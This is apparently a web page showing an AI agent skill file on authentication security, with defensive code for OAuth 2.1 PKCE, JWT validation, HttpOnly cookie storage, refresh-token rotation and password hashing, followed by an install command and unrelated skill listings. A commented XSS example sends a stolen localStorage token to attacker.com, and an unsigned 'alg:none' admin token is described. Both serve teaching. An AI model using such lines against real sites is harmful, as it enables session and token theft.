OAuth 2.1, JWT (RFC 8725), encryption, and authentication security expert. Enforces 2026 security standards.
⚠️ CRITICAL: OAuth 2.1 becomes MANDATORY Q2 2026
OAuth 2.1 consolidates a decade of security best practices into a single specification (draft-ietf-oauth-v2-1). Google, Microsoft, and Okta have already deprecated legacy OAuth 2.0 flows with enforcement deadlines in Q2 2026.
1. PKCE is REQUIRED for ALL Clients
// Correct PKCE implementation
async function generatePKCE() {
const array = new Uint8Array(32); // 256 bits
crypto.getRandomValues(array); // Cryptographically secure random
const verifier = base64UrlEncode(array);
const encoder = new TextEncoder();
const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
const challenge = base64UrlEncode(new Uint8Array(hash));
return { verifier, challenge };
}
// Helper: Base64 URL encoding
function base64UrlEncode(buffer) {
return btoa(String.fromCharCode(...new Uint8Array(buffer)))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}
2. Implicit Flow REMOVED
response_type=token or response_type=id_token token - FORBIDDEN3. Resource Owner Password Credentials (ROPC) REMOVED
grant_type=password - FORBIDDEN4. Bearer Tokens in URI Query Parameters FORBIDDEN
GET /api/resource?access_token=xyz - FORBIDDENAuthorization: Bearer <token>5. Exact Redirect URI Matching REQUIRED
https://*.example.com - FORBIDDEN// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
// EXACT match required - no wildcards, no normalization
return registeredUris.includes(requestedUri);
}
6. Refresh Token Protection REQUIRED
The Attack:
Attacker intercepts authorization request and strips code_challenge parameters. If authorization server allows backward compatibility with OAuth 2.0 (non-PKCE), it proceeds without PKCE protection. Attacker steals authorization code and exchanges it without needing the code_verifier.
Prevention (Server-Side):
// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
const { code_challenge, code_challenge_method } = req.query;
// OAuth 2.1: PKCE is MANDATORY
if (!code_challenge || !code_challenge_method) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge required (OAuth 2.1)',
});
}
if (code_challenge_method !== 'S256') {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge_method must be S256',
});
}
// Continue authorization flow...
});
// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
const { code, code_verifier } = req.body;
const authCode = await db.authorizationCodes.findOne({ code });
if (!authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'Authorization code was not issued with PKCE',
});
}
// Verify code_verifier matches code_challenge
const hash = crypto.createHash('sha256').update(code_verifier).digest();
const challenge = base64UrlEncode(hash);
if (challenge !== authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'code_verifier does not match code_challenge',
});
}
// Issue tokens...
});
Client-Side Implementation:
// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection
// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');
// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
throw new Error('State mismatch - possible CSRF attack');
}
// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI, // MUST match authorization request
client_id: CLIENT_ID,
code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
}),
});
const tokens = await response.json();
// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');
// Server should set tokens as HttpOnly cookies (see Token Storage section)
Before Production Deployment:
⚠️ CRITICAL: JWT vulnerabilities are in OWASP Top 10 (Broken Authentication)
Access Tokens:
Refresh Tokens:
ID Tokens (OpenID Connect):
✅ RECOMMENDED Algorithms:
RS256 (RSA with SHA-256)
const jwt = require('jsonwebtoken');
const fs = require('fs');
// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'https://auth.example.com',
audience: 'api.example.com',
keyid: 'key-2024-01', // Key rotation tracking
});
// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Whitelist ONLY expected algorithm
issuer: 'https://auth.example.com',
audience: 'api.example.com',
});
ES256 (ECDSA with SHA-256)
// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
namedCurve: 'prime256v1', // P-256 curve
});
const token = jwt.sign(payload, privateKey, {
algorithm: 'ES256',
expiresIn: '15m',
});
⚠️ USE WITH CAUTION:
HS256 (HMAC with SHA-256)
// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
algorithm: 'HS256',
expiresIn: '15m',
});
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'], // STILL whitelist algorithm
});
❌ FORBIDDEN Algorithms:
none (No Signature)
// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});
// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}
Prevention:
// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist only
});
async function validateAccessToken(token) {
try {
// 1. Parse without verification first (to check 'alg')
const unverified = jwt.decode(token, { complete: true });
// 2. Reject 'none' algorithm
if (!unverified || unverified.header.alg === 'none') {
throw new Error('Unsigned JWT not allowed');
}
// 3. Verify signature with public key
const publicKey = await getPublicKey(unverified.header.kid); // Key ID
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
issuer: 'https://auth.example.com', // Expected issuer
audience: 'api.example.com', // This API's identifier
clockTolerance: 30, // Allow 30s clock skew
complete: false, // Return payload only
});
// 4. Validate required claims
if (!decoded.sub) throw new Error('Missing subject (sub) claim');
if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');
// 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
const now = Math.floor(Date.now() / 1000);
if (decoded.exp <= now) throw new Error('Token expired');
if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');
// 6. Check token revocation (if implementing revocation list)
if (await isTokenRevoked(decoded.jti)) {
throw new Error('Token has been revoked');
}
// 7. Validate custom claims
if (decoded.scope && !decoded.scope.includes('read:resource')) {
throw new Error('Insufficient permissions');
}
return decoded;
} catch (error) {
// NEVER use the token if ANY validation fails
console.error('JWT validation failed:', error.message);
throw new Error('Invalid token');
}
}
Registered Claims (Standard):
iss (issuer): Authorization server URL - VALIDATEsub (subject): User ID (unique, immutable) - REQUIREDaud (audience): API/service identifier - VALIDATEexp (expiration): Unix timestamp - REQUIRED, ≤15 min for access tokensiat (issued at): Unix timestamp - REQUIREDnbf (not before): Unix timestamp - OPTIONALjti (JWT ID): Unique token ID - REQUIRED for revocationCustom Claims (Application-Specific):
const payload = {
// Standard claims
iss: 'https://auth.example.com',
sub: 'user_12345',
aud: 'api.example.com',
exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID(),
// Custom claims
scope: 'read:profile write:profile admin:users',
role: 'admin',
tenant_id: 'tenant_789',
email: 'user@example.com', // OK for access token, not sensitive
// NEVER include: password, SSN, credit card, etc.
};
⚠️ NEVER Store Sensitive Data in JWT:
✅ CORRECT: HttpOnly Cookies (Server-Side)
// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);
// Access token cookie
res.cookie('access_token', access_token, {
httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection (blocks cross-site requests)
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
domain: '.example.com', // Allow subdomains
});
// Refresh token cookie (more restricted)
res.cookie('refresh_token', refresh_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // ONLY accessible by refresh endpoint
domain: '.example.com',
});
res.json({ success: true });
});
// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
credentials: 'include', // Include cookies in request
});
❌ WRONG: localStorage/sessionStorage
// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
// const token = localStorage.getItem('access_token');
// fetch('https://attacker.com/steal?token=' + token);
// </script>
Why HttpOnly Cookies Prevent XSS Theft:
httpOnly: true makes cookie inaccessible to JavaScript (document.cookie returns empty)The Attack: Refresh Token Theft If attacker steals refresh token, they can generate unlimited access tokens until refresh token expires (days/weeks).
The Defense: Rotation + Reuse Detection Every refresh generates new refresh token and invalidates old one. If old token is used again, ALL tokens for that user are revoked (signals possible theft).
Server-Side Implementation:
app.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
try {
// 1. Validate refresh token (check signature, expiry)
const decoded = jwt.verify(oldRefreshToken, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.example.com',
});
// 2. Look up token in database (we store hashed refresh tokens)
const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
const tokenRecord = await db.refreshTokens.findOne({
tokenHash,
userId: decoded.sub,
});
if (!tokenRecord) {
throw new Error('Refresh token not found');
}
// 3. CRITICAL: Detect token reuse (possible theft)
if (tokenRecord.isUsed) {
// Token was already used - this is a REUSE ATTACK
await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
userId: decoded.sub,
tokenId: decoded.jti,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
// Send alert to user's email
await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');
return res.status(401).json({
error: 'token_reuse',
error_description: 'Refresh token reuse detected - all sessions revoked',
});
}
// 4. Mark old token as used (ATOMIC operation before issuing new tokens)
await db.refreshTokens.updateOne(
{ tokenHash },
{
$set: { isUsed: true, lastUsedAt: new Date() },
}
);
// 5. Generate new tokens
const newAccessToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 15 * 60,
},
privateKey,
{ algorithm: 'RS256' }
);
const newRefreshToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
jti: crypto.randomUUID(),
},
privateKey,
{ algorithm: 'RS256' }
);
// 6. Store new refresh token (hashed)
const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
await db.refreshTokens.create({
userId: decoded.sub,
tokenHash: newTokenHash,
isUsed: false,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdAt: new Date(),
userAgent: req.headers['user-agent'],
ipAddress: req.ip,
});
// 7. Set new tokens as cookies
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ success: true });
} catch (error) {
// Clear invalid cookies
res.clearCookie('refresh_token');
res.status(401).json({ error: 'invalid_token' });
}
});
Database Schema (Refresh Tokens):
{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
isUsed: false, // Set to true when token is used for refresh
expiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // Updated when isUsed set to true
userAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // Matches JWT 'jti' claim
}
Recommended: Argon2id
// Argon2id example (Node.js)
import argon2 from 'argon2';
// Hash password
const hash = await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2,
parallelism: 1,
});
// Verify password
const isValid = await argon2.verify(hash, password);
Acceptable Alternative: bcrypt
// bcrypt example
import bcrypt from 'bcryptjs';
const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);
NEVER use:
Types of MFA:
TOTP (Time-based One-Time Passwords)
WebAuthn/FIDO2 (Passkeys)
SMS-based (Legacy - NOT recommended)
Backup Codes
Implementation Best Practices:
Why Passkeys:
Implementation:
@simplewebauthn/server (Node.js) or similar librariesWebAuthn Registration Flow:
WebAuthn Authentication Flow:
Secure Session Practices:
<!-- Content truncated for initial SEO render. Open the source file tab for the full file. -->npx skills add oimiragieo/auth-security-expert下载完整 Skill 目录,包含 SKILL.md 及所有相关文件
Search for places (restaurants, cafes, etc.) via Google Places API proxy on localhost.
Interact with GitHub using the `gh` CLI. Use `gh issue`, `gh pr`, `gh run`, and `gh api` for issues, PRs, CI runs, and advanced queries.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Start voice calls via the OpenClaw voice-call plugin.
Notion API for creating and managing pages, databases, and blocks.
Gemini CLI for one-shot Q&A, summaries, and generation.
Category:developer